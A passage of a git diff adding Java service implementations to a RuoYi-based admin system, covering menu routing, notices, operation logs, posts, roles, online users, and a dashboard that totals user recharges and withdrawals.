获取路由地址 + * + * @param menu 菜单信息 + * @return 路由地址 + */ + public String getRouterPath(SysMenu menu) + { + String routerPath = menu.getPath(); + // 内链打开外网方式 + if (menu.getParentId().intValue() != 0 && isInnerLink(menu)) + { + routerPath = innerLinkReplaceEach(routerPath); + } + // 非外链并且是一级目录(类型为目录) + if (0 == menu.getParentId().intValue() && UserConstants.TYPE_DIR.equals(menu.getMenuType()) + && UserConstants.NO_FRAME.equals(menu.getIsFrame())) + { + routerPath = "/" + menu.getPath(); + } + // 非外链并且是一级目录(类型为菜单) + else if (isMenuFrame(menu)) + { + routerPath = "/"; + } + return routerPath; + } + + /** + * 获取组件信息 + * + * @param menu 菜单信息 + * @return 组件信息 + */ + public String getComponent(SysMenu menu) + { + String component = UserConstants.LAYOUT; + if (StringUtils.isNotEmpty(menu.getComponent()) && !isMenuFrame(menu)) + { + component = menu.getComponent(); + } + else if (StringUtils.isEmpty(menu.getComponent()) && menu.getParentId().intValue() != 0 && isInnerLink(menu)) + { + component = UserConstants.INNER_LINK; + } + else if (StringUtils.isEmpty(menu.getComponent()) && isParentView(menu)) + { + component = UserConstants.PARENT_VIEW; + } + return component; + } + + /** + * 是否为菜单内部跳转 + * + * @param menu 菜单信息 + * @return 结果 + */ + public boolean isMenuFrame(SysMenu menu) + { + return menu.getParentId().intValue() == 0 && UserConstants.TYPE_MENU.equals(menu.getMenuType()) + && menu.getIsFrame().equals(UserConstants.NO_FRAME); + } + + /** + * 是否为内链组件 + * + * @param menu 菜单信息 + * @return 结果 + */ + public boolean isInnerLink(SysMenu menu) + { + return menu.getIsFrame().equals(UserConstants.NO_FRAME) && StringUtils.ishttp(menu.getPath()); + } + + /** + * 是否为parent_view组件 + * + * @param menu 菜单信息 + * @return 结果 + */ + public boolean isParentView(SysMenu menu) + { + return menu.getParentId().intValue() != 0 && UserConstants.TYPE_DIR.equals(menu.getMenuType()); + } + + /** + * 根据父节点的ID获取所有子节点 + * + * @param list 分类表 + * @param parentId 传入的父节点ID + * @return String + */ + public List getChildPerms(List list, int parentId) + { + List returnList = new ArrayList(); + for (Iterator iterator = list.iterator(); iterator.hasNext();) + { + SysMenu t = (SysMenu) iterator.next(); + // 一、根据传入的某个父节点ID,遍历该父节点的所有子节点 + if (t.getParentId() == parentId) + { + recursionFn(list, t); + returnList.add(t); + } + } + return returnList; + } + + /** + * 递归列表 + * + * @param list 分类表 + * @param t 子节点 + */ + private void recursionFn(List list, SysMenu t) + { + // 得到子节点列表 + List childList = getChildList(list, t); + t.setChildren(childList); + for (SysMenu tChild : childList) + { + if (hasChild(list, tChild)) + { + recursionFn(list, tChild); + } + } + } + + /** + * 得到子节点列表 + */ + private List getChildList(List list, SysMenu t) + { + List tlist = new ArrayList(); + Iterator it = list.iterator(); + while (it.hasNext()) + { + SysMenu n = (SysMenu) it.next(); + if (n.getParentId().longValue() == t.getMenuId().longValue()) + { + tlist.add(n); + } + } + return tlist; + } + + /** + * 判断是否有子节点 + */ + private boolean hasChild(List list, SysMenu t) + { + return getChildList(list, t).size() > 0; + } + + /** + * 内链域名特殊字符替换 + * + * @return 替换后的内链域名 + */ + public String innerLinkReplaceEach(String path) + { + return StringUtils.replaceEach(path, new String[] { Constants.HTTP, Constants.HTTPS, Constants.WWW, "." }, + new String[] { "", "", "", "/" }); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysNoticeServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysNoticeServiceImpl.java new file mode 100644 index 0000000..765438b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysNoticeServiceImpl.java @@ -0,0 +1,92 @@ +package com.ruoyi.system.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.system.domain.SysNotice; +import com.ruoyi.system.mapper.SysNoticeMapper; +import com.ruoyi.system.service.ISysNoticeService; + +/** + * 公告 服务层实现 + * + * @author ruoyi + */ +@Service +public class SysNoticeServiceImpl implements ISysNoticeService +{ + @Autowired + private SysNoticeMapper noticeMapper; + + /** + * 查询公告信息 + * + * @param noticeId 公告ID + * @return 公告信息 + */ + @Override + public SysNotice selectNoticeById(Long noticeId) + { + return noticeMapper.selectNoticeById(noticeId); + } + + /** + * 查询公告列表 + * + * @param notice 公告信息 + * @return 公告集合 + */ + @Override + public List selectNoticeList(SysNotice notice) + { + return noticeMapper.selectNoticeList(notice); + } + + /** + * 新增公告 + * + * @param notice 公告信息 + * @return 结果 + */ + @Override + public int insertNotice(SysNotice notice) + { + return noticeMapper.insertNotice(notice); + } + + /** + * 修改公告 + * + * @param notice 公告信息 + * @return 结果 + */ + @Override + public int updateNotice(SysNotice notice) + { + return noticeMapper.updateNotice(notice); + } + + /** + * 删除公告对象 + * + * @param noticeId 公告ID + * @return 结果 + */ + @Override + public int deleteNoticeById(Long noticeId) + { + return noticeMapper.deleteNoticeById(noticeId); + } + + /** + * 批量删除公告信息 + * + * @param noticeIds 需要删除的公告ID + * @return 结果 + */ + @Override + public int deleteNoticeByIds(Long[] noticeIds) + { + return noticeMapper.deleteNoticeByIds(noticeIds); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysOperLogServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysOperLogServiceImpl.java new file mode 100644 index 0000000..5489815 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysOperLogServiceImpl.java @@ -0,0 +1,76 @@ +package com.ruoyi.system.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.system.domain.SysOperLog; +import com.ruoyi.system.mapper.SysOperLogMapper; +import com.ruoyi.system.service.ISysOperLogService; + +/** + * 操作日志 服务层处理 + * + * @author ruoyi + */ +@Service +public class SysOperLogServiceImpl implements ISysOperLogService +{ + @Autowired + private SysOperLogMapper operLogMapper; + + /** + * 新增操作日志 + * + * @param operLog 操作日志对象 + */ + @Override + public void insertOperlog(SysOperLog operLog) + { + operLogMapper.insertOperlog(operLog); + } + + /** + * 查询系统操作日志集合 + * + * @param operLog 操作日志对象 + * @return 操作日志集合 + */ + @Override + public List selectOperLogList(SysOperLog operLog) + { + return operLogMapper.selectOperLogList(operLog); + } + + /** + * 批量删除系统操作日志 + * + * @param operIds 需要删除的操作日志ID + * @return 结果 + */ + @Override + public int deleteOperLogByIds(Long[] operIds) + { + return operLogMapper.deleteOperLogByIds(operIds); + } + + /** + * 查询操作日志详细 + * + * @param operId 操作ID + * @return 操作日志对象 + */ + @Override + public SysOperLog selectOperLogById(Long operId) + { + return operLogMapper.selectOperLogById(operId); + } + + /** + * 清空操作日志 + */ + @Override + public void cleanOperLog() + { + operLogMapper.cleanOperLog(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysPostServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysPostServiceImpl.java new file mode 100644 index 0000000..5e5fe06 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysPostServiceImpl.java @@ -0,0 +1,178 @@ +package com.ruoyi.system.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.SysPost; +import com.ruoyi.system.mapper.SysPostMapper; +import com.ruoyi.system.mapper.SysUserPostMapper; +import com.ruoyi.system.service.ISysPostService; + +/** + * 岗位信息 服务层处理 + * + * @author ruoyi + */ +@Service +public class SysPostServiceImpl implements ISysPostService +{ + @Autowired + private SysPostMapper postMapper; + + @Autowired + private SysUserPostMapper userPostMapper; + + /** + * 查询岗位信息集合 + * + * @param post 岗位信息 + * @return 岗位信息集合 + */ + @Override + public List selectPostList(SysPost post) + { + return postMapper.selectPostList(post); + } + + /** + * 查询所有岗位 + * + * @return 岗位列表 + */ + @Override + public List selectPostAll() + { + return postMapper.selectPostAll(); + } + + /** + * 通过岗位ID查询岗位信息 + * + * @param postId 岗位ID + * @return 角色对象信息 + */ + @Override + public SysPost selectPostById(Long postId) + { + return postMapper.selectPostById(postId); + } + + /** + * 根据用户ID获取岗位选择框列表 + * + * @param userId 用户ID + * @return 选中岗位ID列表 + */ + @Override + public List selectPostListByUserId(Long userId) + { + return postMapper.selectPostListByUserId(userId); + } + + /** + * 校验岗位名称是否唯一 + * + * @param post 岗位信息 + * @return 结果 + */ + @Override + public boolean checkPostNameUnique(SysPost post) + { + Long postId = StringUtils.isNull(post.getPostId()) ? -1L : post.getPostId(); + SysPost info = postMapper.checkPostNameUnique(post.getPostName()); + if (StringUtils.isNotNull(info) && info.getPostId().longValue() != postId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验岗位编码是否唯一 + * + * @param post 岗位信息 + * @return 结果 + */ + @Override + public boolean checkPostCodeUnique(SysPost post) + { + Long postId = StringUtils.isNull(post.getPostId()) ? -1L : post.getPostId(); + SysPost info = postMapper.checkPostCodeUnique(post.getPostCode()); + if (StringUtils.isNotNull(info) && info.getPostId().longValue() != postId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 通过岗位ID查询岗位使用数量 + * + * @param postId 岗位ID + * @return 结果 + */ + @Override + public int countUserPostById(Long postId) + { + return userPostMapper.countUserPostById(postId); + } + + /** + * 删除岗位信息 + * + * @param postId 岗位ID + * @return 结果 + */ + @Override + public int deletePostById(Long postId) + { + return postMapper.deletePostById(postId); + } + + /** + * 批量删除岗位信息 + * + * @param postIds 需要删除的岗位ID + * @return 结果 + */ + @Override + public int deletePostByIds(Long[] postIds) + { + for (Long postId : postIds) + { + SysPost post = selectPostById(postId); + if (countUserPostById(postId) > 0) + { + throw new ServiceException(String.format("%1$s已分配,不能删除", post.getPostName())); + } + } + return postMapper.deletePostByIds(postIds); + } + + /** + * 新增保存岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + @Override + public int insertPost(SysPost post) + { + return postMapper.insertPost(post); + } + + /** + * 修改保存岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + @Override + public int updatePost(SysPost post) + { + return postMapper.updatePost(post); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysRoleServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysRoleServiceImpl.java new file mode 100644 index 0000000..74350ad --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysRoleServiceImpl.java @@ -0,0 +1,427 @@ +package com.ruoyi.system.service.impl; + +import java.util.*; + +import com.github.pagehelper.util.StringUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import com.ruoyi.common.annotation.DataScope; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.system.domain.SysRoleDept; +import com.ruoyi.system.domain.SysRoleMenu; +import com.ruoyi.system.domain.SysUserRole; +import com.ruoyi.system.mapper.SysRoleDeptMapper; +import com.ruoyi.system.mapper.SysRoleMapper; +import com.ruoyi.system.mapper.SysRoleMenuMapper; +import com.ruoyi.system.mapper.SysUserRoleMapper; +import com.ruoyi.system.service.ISysRoleService; + +/** + * 角色 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysRoleServiceImpl implements ISysRoleService +{ + @Autowired + private SysRoleMapper roleMapper; + + @Autowired + private SysRoleMenuMapper roleMenuMapper; + + @Autowired + private SysUserRoleMapper userRoleMapper; + + @Autowired + private SysRoleDeptMapper roleDeptMapper; + + /** + * 根据条件分页查询角色数据 + * + * @param role 角色信息 + * @return 角色数据集合信息 + */ + @Override + @DataScope(deptAlias = "d") + public List selectRoleList(SysRole role) + { + SysUser user = SecurityUtils.getLoginUser().getUser(); + if (Objects.nonNull(user) && StringUtil.isNotEmpty(user.getUserType()) && user.getUserType().indexOf("0")==-1){ + role.setCreateBy(user.getUserName()); +// role.setUserId(user.getUserId()); + } + return roleMapper.selectRoleList(role); + } + + /** + * 根据用户ID查询角色 + * + * @param userId 用户ID + * @return 角色列表 + */ + @Override + public List selectRolesByUserId(Long userId) + { + List userRoles = roleMapper.selectRolePermissionByUserId(userId); + List roles = selectRoleAll(); + for (SysRole role : roles) + { + for (SysRole userRole : userRoles) + { + if (role.getRoleId().longValue() == userRole.getRoleId().longValue()) + { + role.setFlag(true); + break; + } + } + } + return roles; + } + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + @Override + public Set selectRolePermissionByUserId(Long userId) + { + List perms = roleMapper.selectRolePermissionByUserId(userId); + Set permsSet = new HashSet<>(); + for (SysRole perm : perms) + { + if (StringUtils.isNotNull(perm)) + { + permsSet.addAll(Arrays.asList(perm.getRoleKey().trim().split(","))); + } + } + return permsSet; + } + + /** + * 查询所有角色 + * + * @return 角色列表 + */ + @Override + public List selectRoleAll() + { + return SpringUtils.getAopProxy(this).selectRoleList(new SysRole()); + } + + /** + * 根据用户ID获取角色选择框列表 + * + * @param userId 用户ID + * @return 选中角色ID列表 + */ + @Override + public List selectRoleListByUserId(Long userId) + { + return roleMapper.selectRoleListByUserId(userId); + } + + /** + * 通过角色ID查询角色 + * + * @param roleId 角色ID + * @return 角色对象信息 + */ + @Override + public SysRole selectRoleById(Long roleId) + { + return roleMapper.selectRoleById(roleId); + } + + /** + * 校验角色名称是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + public boolean checkRoleNameUnique(SysRole role) + { + Long roleId = StringUtils.isNull(role.getRoleId()) ? -1L : role.getRoleId(); + SysRole info = roleMapper.checkRoleNameUnique(role.getRoleName()); + if (StringUtils.isNotNull(info) && info.getRoleId().longValue() != roleId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验角色权限是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + public boolean checkRoleKeyUnique(SysRole role) + { + Long roleId = StringUtils.isNull(role.getRoleId()) ? -1L : role.getRoleId(); + SysRole info = roleMapper.checkRoleKeyUnique(role.getRoleKey()); + if (StringUtils.isNotNull(info) && info.getRoleId().longValue() != roleId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验角色是否允许操作 + * + * @param role 角色信息 + */ + @Override + public void checkRoleAllowed(SysRole role) + { + if (StringUtils.isNotNull(role.getRoleId()) && role.isAdmin()) + { + throw new ServiceException("不允许操作超级管理员角色"); + } + } + + /** + * 校验角色是否有数据权限 + * + * @param roleId 角色id + */ + @Override + public void checkRoleDataScope(Long roleId) + { + if (!SysUser.isAdmin(SecurityUtils.getUserId())) + { + SysRole role = new SysRole(); + role.setRoleId(roleId); + List roles = SpringUtils.getAopProxy(this).selectRoleList(role); + if (StringUtils.isEmpty(roles)) + { + throw new ServiceException("没有权限访问角色数据!"); + } + } + } + + /** + * 通过角色ID查询角色使用数量 + * + * @param roleId 角色ID + * @return 结果 + */ + @Override + public int countUserRoleByRoleId(Long roleId) + { + return userRoleMapper.countUserRoleByRoleId(roleId); + } + + /** + * 新增保存角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + @Transactional + public int insertRole(SysRole role) + { + // 新增角色信息 + roleMapper.insertRole(role); + return insertRoleMenu(role); + } + + /** + * 修改保存角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + @Transactional + public int updateRole(SysRole role) + { + // 修改角色信息 + roleMapper.updateRole(role); + // 删除角色与菜单关联 + roleMenuMapper.deleteRoleMenuByRoleId(role.getRoleId()); + return insertRoleMenu(role); + } + + /** + * 修改角色状态 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + public int updateRoleStatus(SysRole role) + { + return roleMapper.updateRole(role); + } + + /** + * 修改数据权限信息 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + @Transactional + public int authDataScope(SysRole role) + { + // 修改角色信息 + roleMapper.updateRole(role); + // 删除角色与部门关联 + roleDeptMapper.deleteRoleDeptByRoleId(role.getRoleId()); + // 新增角色和部门信息(数据权限) + return insertRoleDept(role); + } + + /** + * 新增角色菜单信息 + * + * @param role 角色对象 + */ + public int insertRoleMenu(SysRole role) + { + int rows = 1; + // 新增用户与角色管理 + List list = new ArrayList(); + for (Long menuId : role.getMenuIds()) + { + SysRoleMenu rm = new SysRoleMenu(); + rm.setRoleId(role.getRoleId()); + rm.setMenuId(menuId); + list.add(rm); + } + if (list.size() > 0) + { + rows = roleMenuMapper.batchRoleMenu(list); + } + return rows; + } + + /** + * 新增角色部门信息(数据权限) + * + * @param role 角色对象 + */ + public int insertRoleDept(SysRole role) + { + int rows = 1; + // 新增角色与部门(数据权限)管理 + List list = new ArrayList(); + for (Long deptId : role.getDeptIds()) + { + SysRoleDept rd = new SysRoleDept(); + rd.setRoleId(role.getRoleId()); + rd.setDeptId(deptId); + list.add(rd); + } + if (list.size() > 0) + { + rows = roleDeptMapper.batchRoleDept(list); + } + return rows; + } + + /** + * 通过角色ID删除角色 + * + * @param roleId 角色ID + * @return 结果 + */ + @Override + @Transactional + public int deleteRoleById(Long roleId) + { + // 删除角色与菜单关联 + roleMenuMapper.deleteRoleMenuByRoleId(roleId); + // 删除角色与部门关联 + roleDeptMapper.deleteRoleDeptByRoleId(roleId); + return roleMapper.deleteRoleById(roleId); + } + + /** + * 批量删除角色信息 + * + * @param roleIds 需要删除的角色ID + * @return 结果 + */ + @Override + @Transactional + public int deleteRoleByIds(Long[] roleIds) + { + for (Long roleId : roleIds) + { + checkRoleAllowed(new SysRole(roleId)); + checkRoleDataScope(roleId); + SysRole role = selectRoleById(roleId); + if (countUserRoleByRoleId(roleId) > 0) + { + throw new ServiceException(String.format("%1$s已分配,不能删除", role.getRoleName())); + } + } + // 删除角色与菜单关联 + roleMenuMapper.deleteRoleMenu(roleIds); + // 删除角色与部门关联 + roleDeptMapper.deleteRoleDept(roleIds); + return roleMapper.deleteRoleByIds(roleIds); + } + + /** + * 取消授权用户角色 + * + * @param userRole 用户和角色关联信息 + * @return 结果 + */ + @Override + public int deleteAuthUser(SysUserRole userRole) + { + return userRoleMapper.deleteUserRoleInfo(userRole); + } + + /** + * 批量取消授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要取消授权的用户数据ID + * @return 结果 + */ + @Override + public int deleteAuthUsers(Long roleId, Long[] userIds) + { + return userRoleMapper.deleteUserRoleInfos(roleId, userIds); + } + + /** + * 批量选择授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要授权的用户数据ID + * @return 结果 + */ + @Override + public int insertAuthUsers(Long roleId, Long[] userIds) + { + // 新增用户与角色管理 + List list = new ArrayList(); + for (Long userId : userIds) + { + SysUserRole ur = new SysUserRole(); + ur.setUserId(userId); + ur.setRoleId(roleId); + list.add(ur); + } + return userRoleMapper.batchUserRole(list); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysStatisticsServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysStatisticsServiceImpl.java new file mode 100644 index 0000000..4919010 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysStatisticsServiceImpl.java @@ -0,0 +1,216 @@ +package com.ruoyi.system.service.impl; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.vo.SysDataVO; +import com.ruoyi.bussiness.mapper.TAppRechargeMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.mapper.TWithdrawMapper; +import com.ruoyi.common.enums.RecoenOrderStatusEmun; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.system.service.ISysStatisticsService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import java.util.function.Supplier; +import java.util.stream.Collectors; + +/** + * 系统首页数据统计 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysStatisticsServiceImpl implements ISysStatisticsService { + @Autowired + private TAppRechargeMapper rechargeMapper; + + @Autowired + private TWithdrawMapper withdrawMapper; + + @Autowired + private TAppUserMapper userMapper; + + @Override + public List getDataList(String parentId) { + List resultList = new ArrayList<>(); + List dateList = this.recentDays(7); + Supplier factory = SysDataVO::new; + SysDataVO rechargeVO; + BigDecimal allRecharge = rechargeMapper.getAllRecharge(parentId, RecordEnum.RECHARGE.getCode()); + //allRecharge = allRecharge == null ? BigDecimal.ZERO : allRecharge; + BigDecimal allWithdraw = withdrawMapper.getAllWithdraw(parentId, RecordEnum.WITHDRAW.getCode()); + //allWithdraw = allWithdraw == null ? BigDecimal.ZERO : allWithdraw; + //一周充值数据 + Map redLine = this.weekRecharge(parentId, RecoenOrderStatusEmun.pass.getCode()); + //一周提现数据 + Map blueLine = this.weekWithdraw(parentId, RecoenOrderStatusEmun.pass.getCode()); + //查询平台总收入 + rechargeVO = factory.get(); + rechargeVO.setTotalNum(allRecharge.subtract(allWithdraw).setScale(2, RoundingMode.HALF_UP)); + this.getTotalRevenueOfPlatform(resultList, dateList, rechargeVO, redLine, blueLine); + //查询平台玩家数量 + rechargeVO = factory.get(); + this.getUserNum(parentId, resultList, dateList, rechargeVO); + //查询平台总充值金额 + rechargeVO = factory.get(); + rechargeVO.setTotalNum(allRecharge.setScale(2, RoundingMode.HALF_UP)); + rechargeVO.setRedLine(redLine); + this.getRechargeOfPlatform(parentId, resultList, dateList, rechargeVO); + //查询平台总提现金额 + rechargeVO = factory.get(); + rechargeVO.setTotalNum(allWithdraw.setScale(2, RoundingMode.HALF_UP)); + rechargeVO.setRedLine(blueLine); + this.getWithdrawOfPlatform(parentId, resultList, dateList, rechargeVO); + + return resultList; + } + + /** + * 查询平台总收入 + */ + private void getTotalRevenueOfPlatform(List resultList, List dateList, + SysDataVO rechargeVO, Map redLine, Map blueLine) { + rechargeVO.setTitle(1); + rechargeVO.setRedLineName("充值"); + rechargeVO.setBlueLineName("提现"); + dateList.forEach(str -> { + if (!redLine.containsKey(str)) { + redLine.put(str, 0L); + } + if (!blueLine.containsKey(str)) { + blueLine.put(str, 0L); + } + }); + rechargeVO.setRedLine(redLine); + rechargeVO.setBlueLine(blueLine); + resultList.add(rechargeVO); + } + + /** + * 查询平台玩家数量 + */ + private void getUserNum(String parentId, List resultList, List dateList, SysDataVO rechargeVO) { + Date now = DateUtils.dateFormatDay(new Date(), -6); + rechargeVO.setTitle(2); + TAppUser tAppUser = new TAppUser(); + tAppUser.setIsTest(0); + tAppUser.setAdminParentIds(parentId); + List tAppUsers = userMapper.selectTAppUserList(tAppUser); + rechargeVO.setTotalNum(new BigDecimal(tAppUsers.size()).stripTrailingZeros()); + rechargeVO.setRedLineName("注册"); + rechargeVO.setBlueLineName("冻结"); + tAppUsers = tAppUsers.stream().filter(user -> user.getCreateTime().getTime() > now.getTime()) + .collect(Collectors.toList()); + Map redLine = tAppUsers.stream().filter(user -> user.getStatus() == 0) + .collect(Collectors.groupingBy(user -> DateUtils.dateTime(user.getCreateTime()), Collectors.counting())); + Map blueLine = tAppUsers.stream().filter(user -> user.getStatus() != 0) + .collect(Collectors.groupingBy(user -> DateUtils.dateTime(user.getCreateTime()), Collectors.counting())); + dateList.forEach(str -> { + if (!redLine.containsKey(str)) { + redLine.put(str, 0L); + } + if (!blueLine.containsKey(str)) { + blueLine.put(str, 0L); + } + }); + rechargeVO.setRedLine(redLine); + rechargeVO.setBlueLine(blueLine); + resultList.add(rechargeVO); + } + + /** + * 查询平台总充值金额 + */ + private void getRechargeOfPlatform(String parentId, List resultList, List dateList, SysDataVO rechargeVO) { + rechargeVO.setTitle(3); + rechargeVO.setRedLineName("充值成功"); + rechargeVO.setBlueLineName("充值失败"); + //充值失败 + Map blueLine = this.weekRecharge(parentId, RecoenOrderStatusEmun.failed.getCode()); + dateList.forEach(str -> { + if (!blueLine.containsKey(str)) { + blueLine.put(str, 0L); + } + }); + rechargeVO.setBlueLine(blueLine); + resultList.add(rechargeVO); + } + + /** + * 查询平台总提现金额 + */ + private void getWithdrawOfPlatform(String parentId, List resultList, List dateList, SysDataVO rechargeVO) { + rechargeVO.setTitle(4); + rechargeVO.setRedLineName("提现成功"); + rechargeVO.setBlueLineName("提现失败"); + //提现失败 + Map blueLine = this.weekWithdraw(parentId, RecoenOrderStatusEmun.failed.getCode()); + dateList.forEach(str -> { + if (!blueLine.containsKey(str)) { + blueLine.put(str, 0L); + } + }); + rechargeVO.setBlueLine(blueLine); + resultList.add(rechargeVO); + } + + /** + * 一周充值数据 + */ + private Map weekRecharge(String parentId, String type) { + Map returnMap; + List> recharge; + if ("1".equals(type)) { + recharge = rechargeMapper.getWeekRecharge(parentId); + } else { + recharge = rechargeMapper.getWeekFailedRecharge(parentId); + } + if (!CollectionUtils.isEmpty(recharge)) { + returnMap = recharge.stream() + .collect(Collectors.toMap(map -> (String) map.get("createTime"), map -> map.get("recharge"))); + } else { + returnMap = new HashMap<>(12); + } + return returnMap; + } + + /** + * 一周提现数据 + */ + private Map weekWithdraw(String parentId, String type) { + Map returnMap; + List> withdraw; + if ("1".equals(type)) { + withdraw = withdrawMapper.getWeekWithdraw(parentId); + } else { + withdraw = withdrawMapper.getWeekFailedWithdraw(parentId); + } + if (!CollectionUtils.isEmpty(withdraw)) { + returnMap = withdraw.stream() + .collect(Collectors.toMap(map -> map.get("createTime").toString(), map -> map.get("withdraw"))); + } else { + returnMap = new HashMap<>(12); + } + return returnMap; + } + + /** + * 查询近几天的日期 + * + * @param days 天数 + * @return + */ + private List recentDays(int days) { + List dateList = new ArrayList<>(); + for (int i = 0; i < days; i++) { + dateList.add(DateUtils.parseDateToStr("yyyy-MM-dd", DateUtils.dateFormatDay(new Date(), -i))); + } + return dateList; + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserOnlineServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserOnlineServiceImpl.java new file mode 100644 index 0000000..f80a877 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserOnlineServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.system.service.impl; + +import org.springframework.stereotype.Service; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.SysUserOnline; +import com.ruoyi.system.service.ISysUserOnlineService; + +/** + * 在线用户 服务层处理 + * + * @author ruoyi + */ +@Service +public class SysUserOnlineServiceImpl implements ISysUserOnlineService +{ + /** + * 通过登录地址查询信息 + * + * @param ipaddr 登录地址 + * @param user 用户信息 + * @return 在线用户信息 + */ + @Override + public SysUserOnline selectOnlineByIpaddr(String ipaddr, LoginUser user) + { + if (StringUtils.equals(ipaddr, user.getIpaddr())) + { + return loginUserToUserOnline(user); + } + return null; + } + + /** + * 通过用户名称查询信息 + * + * @param userName 用户名称 + * @param user 用户信息 + * @return 在线用户信息 + */ + @Override + public SysUserOnline selectOnlineByUserName(String userName, LoginUser user) + { + if (StringUtils.equals(userName, user.getUsername())) + { + return loginUserToUserOnline(user); + } + return null; + } + + /** + * 通过登录地址/用户名称查询信息 + * + * @param ipaddr 登录地址 + * @param userName 用户名称 + * @param user 用户信息 + * @return 在线用户信息 + */ + @Override + public SysUserOnline selectOnlineByInfo(String ipaddr, String userName, LoginUser user) + { + if (StringUtils.equals(ipaddr, user.getIpaddr()) && StringUtils.equals(userName, user.getUsername())) + { + return loginUserToUserOnline(user); + } + return null; + } + + /** + * 设置在线用户信息 + * + * @param user 用户信息 + * @return 在线用户 + */ + @Override + public SysUserOnline loginUserToUserOnline(LoginUser user) + { + if (StringUtils.isNull(user) || StringUtils.isNull(user.getUser())) + { + return null; + } + SysUserOnline sysUserOnline = new SysUserOnline(); + sysUserOnline.setTokenId(user.getToken()); + sysUserOnline.setUserName(user.getUsername()); + sysUserOnline.setIpaddr(user.getIpaddr()); + sysUserOnline.setLoginLocation(user.getLoginLocation()); + sysUserOnline.setBrowser(user.getBrowser()); + sysUserOnline.setOs(user.getOs()); + sysUserOnline.setLoginTime(user.getLoginTime()); + if (StringUtils.isNotNull(user.getUser().getDept())) + { + sysUserOnline.setDeptName(user.getUser().getDept().getDeptName()); + } + return sysUserOnline; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java new file mode 100644 index 0000000..e316fd2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java @@ -0,0 +1,625 @@ +package com.ruoyi.system.service.impl; + +import java.util.*; +import java.util.stream.Collectors; +import javax.annotation.Resource; +import javax.validation.Validator; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.github.pagehelper.util.StringUtil; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.common.utils.DateUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; 